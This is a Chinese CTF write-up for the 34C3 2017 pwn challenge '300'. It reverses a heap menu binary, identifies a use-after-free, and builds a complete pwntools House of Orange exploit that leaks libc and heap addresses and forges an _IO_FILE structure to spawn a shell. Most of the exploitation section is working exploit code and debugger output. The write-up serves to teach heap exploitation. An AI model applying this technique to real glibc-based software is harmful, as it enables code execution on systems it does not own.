6.1.26 pwn 34C3CTF2017 300

下载文件

题目复现

  1. $ file 300
  2. 300: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=5f43b102f0fe3f3dd770637f1d244384f6b2a1c9, not stripped
  3. $ checksec -f 300
  4. RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
  5. Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH Yes 0 2 300
  6. $ strings libc-2.24.so | grep "GNU C"
  7. GNU C Library (Ubuntu GLIBC 2.24-9ubuntu2.2) stable release version 2.24, by Roland McGrath et al.
  8. Compiled by GNU CC version 6.3.0 20170406.

64 位程序 ,开启了 canary、NX 和 PIE,默认开启 ASLR。

在 Ubuntu16.10 上玩一下:

  1. ) alloc
  2. 2) write
  3. 3) print
  4. 4) free
  5. 1 <-- alloc 1
  6. slot? (0-9)
  7. 1
  8. 1) alloc
  9. 2) write
  10. 3) print
  11. 4) free
  12. 2
  13. slot? (0-9)
  14. 1 <-- write 1
  15. AAAAAAAAAAAAAAAA
  16. 1) alloc
  17. 2) write
  18. 3) print
  19. 4) free
  20. 4 <-- free 1
  21. slot? (0-9)
  22. 1
  23. 1) alloc
  24. 2) write
  25. 3) print
  26. 4) free
  27. 2 <-- write 1
  28. slot? (0-9)
  29. 1
  30. BBBBBBBB
  31. 1) alloc
  32. 2) write
  33. 3) print
  34. 4) free
  35. 3 <-- print 1
  36. slot? (0-9)
  37. 1
  38. BBBBBBBB
  39. AAAAAAA
  40. 1) alloc
  41. 2) write
  42. 3) print
  43. 4) free
  44. 3 <-- print 2
  45. slot? (0-9)
  46. 2
  47. Segmentation fault (core dumped)

很清晰的 4 个功能:alloc、write、print 和 free。通过尝试似乎就发现了问题,free 的时候没有将指针置空,导致 UAF。读入的字符串末尾没有加 \x00 导致信息泄露。最后如果 print 一个还没有 alloc 的 slot,则出现段错误。

题目解析

main

  1. [0x00000790]> pdf @ main
  2. / (fcn) main 180
  3. | main ();
  4. | ; var int local_20h @ rbp-0x20
  5. | ; var int local_14h @ rbp-0x14
  6. | ; var int local_8h @ rbp-0x8
  7. | ; var int local_4h @ rbp-0x4
  8. | ; DATA XREF from 0x000007ad (entry0)
  9. | 0x00000a91 push rbp
  10. | 0x00000a92 mov rbp, rsp
  11. | 0x00000a95 sub rsp, 0x20
  12. | 0x00000a99 mov dword [local_14h], edi
  13. | 0x00000a9c mov qword [local_20h], rsi
  14. | ; CODE XREF from 0x00000b40 (main)
  15. | .-> 0x00000aa0 mov eax, 0
  16. | : 0x00000aa5 call sym.menu
  17. | : 0x00000aaa mov eax, 0
  18. | : 0x00000aaf call sym.read_int ; ssize_t read(int fildes, void *buf, size_t nbyte)
  19. | : 0x00000ab4 mov dword [local_8h], eax
  20. | : 0x00000ab7 lea rdi, str.slot___0_9 ; 0xbfe ; "slot? (0-9)"
  21. | : 0x00000abe call sym.myputs
  22. | : 0x00000ac3 mov eax, 0
  23. | : 0x00000ac8 call sym.read_int ; 读入 slot
  24. | : 0x00000acd mov dword [local_4h], eax ; slot 放到 [local_4h]
  25. | : 0x00000ad0 cmp dword [local_4h], 0
  26. | ,==< 0x00000ad4 js 0xadc ; slot 小于 0 时跳转,程序退出
  27. | |: 0x00000ad6 cmp dword [local_4h], 9 ; [0x9:4]=0
  28. | ,===< 0x00000ada jle 0xae6 ; slot 小于等于 9 时跳转
  29. | ||: ; CODE XREF from 0x00000ad4 (main)
  30. | |`--> 0x00000adc mov edi, 0
  31. | | : 0x00000ae1 call sym.imp.exit ; void exit(int status)
  32. | | : ; CODE XREF from 0x00000ada (main)
  33. | `---> 0x00000ae6 mov eax, dword [local_8h]
  34. | : 0x00000ae9 cmp eax, 2
  35. | ,==< 0x00000aec je 0xb12 ; write
  36. | |: 0x00000aee cmp eax, 2
  37. | ,===< 0x00000af1 jg 0xafa
  38. | ||: 0x00000af3 cmp eax, 1
  39. | ,====< 0x00000af6 je 0xb06 ; alloc
  40. | ,=====< 0x00000af8 jmp 0xb36
  41. | ||||: ; CODE XREF from 0x00000af1 (main)
  42. | ||`---> 0x00000afa cmp eax, 3
  43. | ||,===< 0x00000afd je 0xb1e ; print
  44. | ||||: 0x00000aff cmp eax, 4
  45. | ,======< 0x00000b02 je 0xb2a ; free
  46. | ,=======< 0x00000b04 jmp 0xb36
  47. | ||||||: ; CODE XREF from 0x00000af6 (main)
  48. | |||`----> 0x00000b06 mov eax, dword [local_4h] ; 取出 slot
  49. | ||| ||: 0x00000b09 mov edi, eax
  50. | ||| ||: 0x00000b0b call sym.alloc_it ; 调用函数 alloc_it(slot)
  51. | |||,====< 0x00000b10 jmp 0xb40
  52. | ||||||: ; CODE XREF from 0x00000aec (main)
  53. | |||||`--> 0x00000b12 mov eax, dword [local_4h] ; 取出 slot
  54. | ||||| : 0x00000b15 mov edi, eax
  55. | ||||| : 0x00000b17 call sym.write_it ; 调用函数 write_it(slot)
  56. | |||||,==< 0x00000b1c jmp 0xb40
  57. | ||||||: ; CODE XREF from 0x00000afd (main)
  58. | ||||`---> 0x00000b1e mov eax, dword [local_4h] ; 取出 slot
  59. | |||| |: 0x00000b21 mov edi, eax
  60. | |||| |: 0x00000b23 call sym.print_it ; 调用函数 print_it(slot)
  61. | ||||,===< 0x00000b28 jmp 0xb40
  62. | |`------> 0x00000b2a mov eax, dword [local_4h] ; 取出 slot
  63. | | ||||: 0x00000b2d mov edi, eax
  64. | | ||||: 0x00000b2f call sym.free_it ; 调用函数 free_it(slot)
  65. | |,======< 0x00000b34 jmp 0xb40
  66. | ||||||: ; CODE XREF from 0x00000b04 (main)
  67. | ||||||: ; CODE XREF from 0x00000b03 (main)
  68. | ||||||: ; CODE XREF from 0x00000af8 (main)
  69. | `-`-----> 0x00000b36 mov edi, 0
  70. | | |||: 0x00000b3b call sym.imp.exit ; void exit(int status)
  71. | | |||| ; CODE XREF from 0x00000b28 (main)
  72. | | |||| ; CODE XREF from 0x00000b34 (main)
  73. | | |||| ; CODE XREF from 0x00000b1c (main)
  74. | | |||| ; CODE XREF from 0x00000b10 (main)
  75. \ `-````=< 0x00000b40 jmp 0xaa0

从 main 函数中我们知道,程序的所有操作都是基于 slot。

alloc

  1. [0x00000790]> pdf @ sym.alloc_it
  2. / (fcn) sym.alloc_it 51
  3. | sym.alloc_it ();
  4. | ; var int local_4h @ rbp-0x4
  5. | ; CALL XREF from 0x00000b0b (main)
  6. | 0x000009ca push rbp
  7. | 0x000009cb mov rbp, rsp
  8. | 0x000009ce sub rsp, 0x10
  9. | 0x000009d2 mov dword [local_4h], edi ; slot 放到 [local_4h]
  10. | 0x000009d5 mov edi, 0x300
  11. | 0x000009da call sym.imp.malloc ; rax = malloc(0x300) 分配堆空间
  12. | 0x000009df mov rcx, rax
  13. | 0x000009e2 mov eax, dword [local_4h]
  14. | 0x000009e5 cdqe
  15. | 0x000009e7 lea rdx, [rax*8] ; rdx = slot * 8
  16. | 0x000009ef lea rax, obj.allocs ; 0x202040
  17. | 0x000009f6 mov qword [rdx + rax], rcx ; 将该空间的地址放到 [0x202040 + slot * 8]
  18. | 0x000009fa nop
  19. | 0x000009fb leave
  20. \ 0x000009fc ret
  21. [0x00000790]> px 0x8*10 @ obj.allocs
  22. - offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
  23. 0x00202040 0000 0000 0000 0000 0000 0000 0000 0000 ................
  24. 0x00202050 0000 0000 0000 0000 0000 0000 0000 0000 ................
  25. 0x00202060 0000 0000 0000 0000 0000 0000 0000 0000 ................
  26. 0x00202070 0000 0000 0000 0000 0000 0000 0000 0000 ................
  27. 0x00202080 0000 0000 0000 0000 0000 0000 0000 0000 ................

该函数固定分配 0x300 的空间,然后根据 slot 将返回地址放到从 0x202040 开始的数组 allocs 中。

write

  1. [0x00000790]> pdf @ sym.write_it
  2. / (fcn) sym.write_it 56
  3. | sym.write_it ();
  4. | ; var int local_4h @ rbp-0x4
  5. | ; CALL XREF from 0x00000b17 (main)
  6. | 0x000009fd push rbp
  7. | 0x000009fe mov rbp, rsp
  8. | 0x00000a01 sub rsp, 0x10
  9. | 0x00000a05 mov dword [local_4h], edi ; slot 放到 [local_4h]
  10. | 0x00000a08 mov eax, dword [local_4h]
  11. | 0x00000a0b cdqe
  12. | 0x00000a0d lea rdx, [rax*8]
  13. | 0x00000a15 lea rax, obj.allocs ; 0x202040
  14. | 0x00000a1c mov rax, qword [rdx + rax] ; 取出 allocs[slot]
  15. | 0x00000a20 mov edx, 0x300
  16. | 0x00000a25 mov rsi, rax
  17. | 0x00000a28 mov edi, 0
  18. | 0x00000a2d call sym.imp.read ; read(0, allocs[slot], 0x300) 读入字符串
  19. | 0x00000a32 nop
  20. | 0x00000a33 leave
  21. \ 0x00000a34 ret

该函数读入最多 0x300 个字符到 slot 对应的空间中。没有在字符串末尾加 \x00,可能导致信息泄露。

print

  1. [0x00000790]> pdf @ sym.print_it
  2. / (fcn) sym.print_it 46
  3. | sym.print_it ();
  4. | ; var int local_4h @ rbp-0x4
  5. | ; CALL XREF from 0x00000b23 (main)
  6. | 0x00000a35 push rbp
  7. | 0x00000a36 mov rbp, rsp
  8. | 0x00000a39 sub rsp, 0x10
  9. | 0x00000a3d mov dword [local_4h], edi ; slot 放到 [local_4h]
  10. | 0x00000a40 mov eax, dword [local_4h]
  11. | 0x00000a43 cdqe
  12. | 0x00000a45 lea rdx, [rax*8]
  13. | 0x00000a4d lea rax, obj.allocs ; 0x202040
  14. | 0x00000a54 mov rax, qword [rdx + rax] ; 取出 allocs[slot]
  15. | 0x00000a58 mov rdi, rax
  16. | 0x00000a5b call sym.myputs ; 打印
  17. | 0x00000a60 nop
  18. | 0x00000a61 leave
  19. \ 0x00000a62 ret

该函数用于打印 slot 对应空间中的字符串。

free

  1. [0x00000790]> pdf @ sym.free_it
  2. / (fcn) sym.free_it 46
  3. | sym.free_it ();
  4. | ; var int local_4h @ rbp-0x4
  5. | ; CALL XREF from 0x00000b2f (main)
  6. | 0x00000a63 push rbp
  7. | 0x00000a64 mov rbp, rsp
  8. | 0x00000a67 sub rsp, 0x10
  9. | 0x00000a6b mov dword [local_4h], edi ; slot 放到 [local_4h]
  10. | 0x00000a6e mov eax, dword [local_4h]
  11. | 0x00000a71 cdqe
  12. | 0x00000a73 lea rdx, [rax*8]
  13. | 0x00000a7b lea rax, obj.allocs ; 0x202040
  14. | 0x00000a82 mov rax, qword [rdx + rax] ; 取出 allocs[slot]
  15. | 0x00000a86 mov rdi, rax
  16. | 0x00000a89 call sym.imp.free ; free(allocs[slot]) 释放空间
  17. | 0x00000a8e nop
  18. | 0x00000a8f leave
  19. \ 0x00000a90 ret

该函数用于释放 slot 对应的空间,但是却没有将 allocs[slot] 指针置空,导致 UAF,或者 double-free。

漏洞利用

从上面我们可以看到,程序的各项操作都基于 slot,对 allocs[slot] 指向的内存空间进行操作,但没有对 allocs[slot] 是否为空,或者其指向的内存是否为被释放的状态,都没有做任何检查,这也是之前发生段错误的原因。

leak

  1. def leak():
  2. global libc_base
  3. global heap_addr
  4. alloc(0)
  5. alloc(1)
  6. alloc(2)
  7. alloc(3)
  8. alloc(4)
  9. free(1)
  10. free(3)
  11. printt(1)
  12. libc_base = u64(io.recvn(6).ljust(8, '\x00')) - 0x3c1b58
  13. printt(3)
  14. heap_addr = u64(io.recvn(6).ljust(8, '\x00')) - 0x310
  15. log.info("libc_base address: 0x%x" % libc_base)
  16. log.info("heap address: 0x%x" % heap_addr)

首先利用 unsorted bin 可以泄露出 libc 和 heap 的地址。分配 5 个 chunk 的原因是为了避免 \x00 截断(heap 基地址的低位 0x00)。然后释放掉 1 和 3 即可。

  1. gef x/10gx &allocs
  2. 0x555555756040 <allocs>: 0x0000555555757010 0x0000555555757320
  3. 0x555555756050 <allocs+16>: 0x0000555555757630 0x0000555555757940
  4. 0x555555756060 <allocs+32>: 0x0000555555757c50 0x0000000000000000
  5. 0x555555756070 <allocs+48>: 0x0000000000000000 0x0000000000000000
  6. 0x555555756080 <allocs+64>: 0x0000000000000000 0x0000000000000000
  7. gef x/6gx 0x0000555555757320-0x10
  8. 0x555555757310: 0x0000000000000000 0x0000000000000311 <-- slot 1
  9. 0x555555757320: 0x00007ffff7dd1b58 0x0000555555757930
  10. 0x555555757330: 0x0000000000000000 0x0000000000000000
  11. gef x/6gx 0x0000555555757940-0x10
  12. 0x555555757930: 0x0000000000000000 0x0000000000000311 <-- slot 3
  13. 0x555555757940: 0x0000555555757310 0x00007ffff7dd1b58
  14. 0x555555757950: 0x0000000000000000 0x0000000000000000

house of orange

  1. def house_of_orange():
  2. io_list_all = libc_base + libc.symbols['_IO_list_all']
  3. system_addr = libc_base + libc.symbols['system']
  4. bin_sh_addr = libc_base + libc.search('/bin/sh\x00').next()
  5. io_wstr_finish = libc_base + 0x3bdc90
  6. fake_chunk = heap_addr + 0x310 * 4 + 0x20
  7. fake_chunk_bk = heap_addr + 0x310 * 3
  8. log.info("_IO_list_all address: 0x%x" % io_list_all)
  9. log.info("system address: 0x%x" % system_addr)
  10. log.info("/bin/sh address: 0x%x" % bin_sh_addr)
  11. log.info("_IO_wstr_finish address: 0x%x" % io_wstr_finish)
  12. stream = p64(0) + p64(0x61) # fake header # fp
  13. stream += p64(0) + p64(fake_chunk_bk) # fake bk pointer
  14. stream += p64(0) # fp->_IO_write_base
  15. stream += p64(0xffffffff) # fp->_IO_write_ptr
  16. stream += p64(bin_sh_addr) # fp->_IO_write_end # fp->wide_data->buf_base
  17. stream = stream.ljust(0x74, '\x00')
  18. stream += p64(0) # fp->_flags2
  19. stream = stream.ljust(0xa0, '\x00')
  20. stream += p64(fake_chunk) # fp->_wide_data
  21. stream = stream.ljust(0xc0, '\x00')
  22. stream += p64(0) # fp->_mode
  23. payload = "A" * 0x10
  24. payload += stream
  25. payload += p64(0) * 2
  26. payload += p64(io_wstr_finish - 0x18) # _IO_FILE_plus->vtable - 0x8
  27. payload += p64(0)
  28. payload += p64(system_addr) # ((_IO_strfile *) fp)->_s._free_buffer
  29. write(4, payload)
  30. payload = p64(0) + p64(fake_chunk) # unsorted_bin->TAIL->bk
  31. write(1, payload)
  32. alloc(5)
  33. alloc(6) # put fake chunk in smallbins[5]
  34. free(5) # put a chunk in unsorted bin
  35. write(5, p64(0) + p64(io_list_all - 0x10)) # bk pointer
  36. alloc(5) # unsorted bin attack

这一步就比较复杂了。因为程序只允许分配 0x300 大小的 chunk,而我们知道 house-of-orange 需要大小为 0x60 的 chunk(放入 smallbins[5])。由于我们可以具有修改 free chunk 的能力,所以可以修改 unsorted bin 里 chunk 的 bk 指针指向伪造的 fake chunk,以将其链接到 unsorted bin 中。接下来的第一次 malloc 将修改 unsorted_bin->TAIL->bk 将指向 fake chunk,而第二次 malloc 的时候,由于大小不合适,fake chunk 就会被整理回 smallbins[5]:

  1. gef x/10gx &allocs
  2. 0x555555756040 <allocs>: 0x0000555555757010 0x0000555555757320
  3. 0x555555756050 <allocs+16>: 0x0000555555757630 0x0000555555757940
  4. 0x555555756060 <allocs+32>: 0x0000555555757c50 0x0000555555757320
  5. 0x555555756070 <allocs+48>: 0x0000555555757940 0x0000000000000000
  6. 0x555555756080 <allocs+64>: 0x0000000000000000 0x0000000000000000
  7. gef x/6gx 0x0000555555757320-0x10
  8. 0x555555757310: 0x0000000000000000 0x0000000000000311 <-- slot 1
  9. 0x555555757320: 0x0000000000000000 0x0000555555757c60 <-- bk points to fake chunk
  10. 0x555555757330: 0x000000000000000a 0x0000000000000000
  11. gef x/34gx 0x0000555555757c50-0x10
  12. 0x555555757c40: 0x0000000000000310 0x0000000000000311 <-- slot 4
  13. 0x555555757c50: 0x4141414141414141 0x4141414141414141
  14. 0x555555757c60: 0x0000000000000000 0x0000000000000061 <-- fake chunk
  15. 0x555555757c70: 0x00007ffff7dd1ba8 0x00007ffff7dd1ba8
  16. 0x555555757c80: 0x0000000000000000 0x00000000ffffffff <-- fp->_IO_write_ptr
  17. 0x555555757c90: 0x00007ffff7b9ac40 0x0000000000000000 <-- fp->wide_data->buf_base
  18. 0x555555757ca0: 0x0000000000000000 0x0000000000000000
  19. 0x555555757cb0: 0x0000000000000000 0x0000000000000000
  20. 0x555555757cc0: 0x0000000000000000 0x0000000000000000
  21. 0x555555757cd0: 0x0000000000000000 0x0000000000000000
  22. 0x555555757ce0: 0x0000000000000000 0x0000000000000000
  23. 0x555555757cf0: 0x0000000000000000 0x0000000000000000
  24. 0x555555757d00: 0x0000555555757c60 0x0000000000000000 <-- fp->_wide_data
  25. 0x555555757d10: 0x0000000000000000 0x0000000000000000
  26. 0x555555757d20: 0x0000000000000000 0x0000000000000000 <-- fp->_mode
  27. 0x555555757d30: 0x0000000000000000 0x00007ffff7dcdc78 <-- vtable
  28. 0x555555757d40: 0x0000000000000000 0x00007ffff7a556a0 <-- ((_IO_strfile *) fp)->_s._free_buffer
  29. gef x/12gx 0x7ffff7dd1bb8-0x50
  30. 0x7ffff7dd1b68: 0x00007ffff7dd1b58 0x00007ffff7dd1b58 <-- unsorted bin
  31. 0x7ffff7dd1b78: 0x00007ffff7dd1b68 0x00007ffff7dd1b68
  32. 0x7ffff7dd1b88: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
  33. 0x7ffff7dd1b98: 0x00007ffff7dd1b88 0x00007ffff7dd1b88
  34. 0x7ffff7dd1ba8: 0x00007ffff7dd1b98 0x00007ffff7dd1b98
  35. 0x7ffff7dd1bb8: 0x0000555555757c60 0x0000555555757c60 <-- smallbins[5]

对于 vtable 的利用,上一节我们使用了 _IO_str_overflow 函数,这次我们就用 _IO_wstr_finish 函数。具体怎么用请查看章节 4.13。

值得注意的是 fp->_wide_data 指向了 fake chunk,所以就相当于我们复用了这一块空间,fp->_IO_write_end 的地方也是就是 fp->wide_data->buf_base

接下来利用 unsorted bin attack 修改 _IO_list_all 指向 &unsorted_bin-0x10,而偏移 0x60 的地方就是 _IO_list_all->_chain,即 smallbins[5],指向了 fake chunk。

  1. gef x/10gx &allocs
  2. 0x555555756040 <allocs>: 0x0000555555757010 0x0000555555757320
  3. 0x555555756050 <allocs+16>: 0x0000555555757630 0x0000555555757940
  4. 0x555555756060 <allocs+32>: 0x0000555555757c50 0x0000555555757320
  5. 0x555555756070 <allocs+48>: 0x0000555555757940 0x0000000000000000
  6. 0x555555756080 <allocs+64>: 0x0000000000000000 0x0000000000000000
  7. gef x/6gx 0x0000555555757320-0x10
  8. 0x555555757310: 0x0000000000000000 0x0000000000000311 <-- slot 5
  9. 0x555555757320: 0x0000000000000000 0x00007ffff7dd24f0 <-- bk points to _IO_list_all-0x10
  10. 0x555555757330: 0x000000000000000a 0x0000000000000000
  11. gef x/4gx 0x00007ffff7dd24f0
  12. 0x7ffff7dd24f0: 0x0000000000000000 0x0000000000000000
  13. 0x7ffff7dd2500 <_IO_list_all>: 0x00007ffff7dd1b58 0x0000000000000000
  14. gef x/14gx 0x00007ffff7dd1b58
  15. 0x7ffff7dd1b58: 0x0000555555757f50 0x0000000000000000 <-- &unsorted_bin-0x10
  16. 0x7ffff7dd1b68: 0x0000555555757310 0x00007ffff7dd24f0 <-- unsorted bin
  17. 0x7ffff7dd1b78: 0x00007ffff7dd1b68 0x00007ffff7dd1b68
  18. 0x7ffff7dd1b88: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
  19. 0x7ffff7dd1b98: 0x00007ffff7dd1b88 0x00007ffff7dd1b88
  20. 0x7ffff7dd1ba8: 0x00007ffff7dd1b98 0x00007ffff7dd1b98
  21. 0x7ffff7dd1bb8: 0x0000555555757c60 0x0000555555757c60 <-- smallbins[5]

pwn

  1. def pwn():
  2. alloc(5) # abort routine
  3. io.interactive()

最后触发异常处理,malloc_printerr -> __libc_message -> __GI_abort -> _IO_flush_all_lockp -> __GI__IO_str_finish,获得 shell。

开启 ASLR,Bingo!!!

  1. $ python exp.py
  2. [+] Starting local process './300': pid 5158
  3. [*] libc_base address: 0x7efdcef24000
  4. [*] heap address: 0x5624a7a3c000
  5. [*] _IO_list_all address: 0x7efdcf2e6500
  6. [*] system address: 0x7efdcef696a0
  7. [*] /bin/sh address: 0x7efdcf0aec40
  8. [*] _IO_wstr_finish address: 0x7efdcf2e1c90
  9. [*] Switching to interactive mode
  10. *** Error in `./300': malloc(): memory corruption: 0x00007efdcf2e6500 ***
  11. ======= Backtrace: =========
  12. $ whoami
  13. firmy

exploit

完整的 exp 如下:

  1. #!/usr/bin/env python
  2. from pwn import *
  3. #context.log_level = 'debug'
  4. io = process(['./300'], env={'LD_PRELOAD':'./libc-2.24.so'})
  5. libc = ELF('libc-2.24.so')
  6. def alloc(idx):
  7. io.sendlineafter("free\n", '1')
  8. io.sendlineafter("(0-9)\n", str(idx))
  9. def write(idx, data):
  10. io.sendlineafter("free\n", '2')
  11. io.sendlineafter("(0-9)\n", str(idx))
  12. io.sendline(data)
  13. def printt(idx):
  14. io.sendlineafter("free\n", '3')
  15. io.sendlineafter("(0-9)\n", str(idx))
  16. def free(idx):
  17. io.sendlineafter("free\n", '4')
  18. io.sendlineafter("(0-9)\n", str(idx))
  19. def leak():
  20. global libc_base
  21. global heap_addr
  22. alloc(0)
  23. alloc(1)
  24. alloc(2)
  25. alloc(3)
  26. alloc(4)
  27. free(1)
  28. free(3)
  29. printt(1)
  30. libc_base = u64(io.recvn(6).ljust(8, '\x00')) - 0x3c1b58
  31. printt(3)
  32. heap_addr = u64(io.recvn(6).ljust(8, '\x00')) - 0x310
  33. log.info("libc_base address: 0x%x" % libc_base)
  34. log.info("heap address: 0x%x" % heap_addr)
  35. def house_of_orange():
  36. io_list_all = libc_base + libc.symbols['_IO_list_all']
  37. system_addr = libc_base + libc.symbols['system']
  38. bin_sh_addr = libc_base + libc.search('/bin/sh\x00').next()
  39. io_wstr_finish = libc_base + 0x3bdc90
  40. fake_chunk = heap_addr + 0x310 * 4 + 0x20
  41. fake_chunk_bk = heap_addr + 0x310 * 3
  42. log.info("_IO_list_all address: 0x%x" % io_list_all)
  43. log.info("system address: 0x%x" % system_addr)
  44. log.info("/bin/sh address: 0x%x" % bin_sh_addr)
  45. log.info("_IO_wstr_finish address: 0x%x" % io_wstr_finish)
  46. stream = p64(0) + p64(0x61) # fake header # fp
  47. stream += p64(0) + p64(fake_chunk_bk) # fake bk pointer
  48. stream += p64(0) # fp->_IO_write_base
  49. stream += p64(0xffffffff) # fp->_IO_write_ptr
  50. stream += p64(bin_sh_addr) # fp->_IO_write_end # fp->wide_data->buf_base
  51. stream = stream.ljust(0x74, '\x00')
  52. stream += p64(0) # fp->_flags2
  53. stream = stream.ljust(0xa0, '\x00')
  54. stream += p64(fake_chunk) # fp->_wide_data
  55. stream = stream.ljust(0xc0, '\x00')
  56. stream += p64(0) # fp->_mode
  57. payload = "A" * 0x10
  58. payload += stream
  59. payload += p64(0) * 2
  60. payload += p64(io_wstr_finish - 0x18) # _IO_FILE_plus->vtable - 0x8
  61. payload += p64(0)
  62. payload += p64(system_addr) # ((_IO_strfile *) fp)->_s._free_buffer
  63. write(4, payload)
  64. payload = p64(0) + p64(fake_chunk) # unsorted_bin->TAIL->bk
  65. write(1, payload)
  66. alloc(5)
  67. alloc(6) # put fake chunk in smallbins[5]
  68. free(5) # put a chunk in unsorted bin
  69. write(5, p64(0) + p64(io_list_all - 0x10)) # bk pointer
  70. alloc(5) # unsorted bin attack
  71. def pwn():
  72. alloc(5) # abort routine
  73. io.interactive()
  74. if __name__ == '__main__':
  75. leak()
  76. house_of_orange()
  77. pwn()

参考资料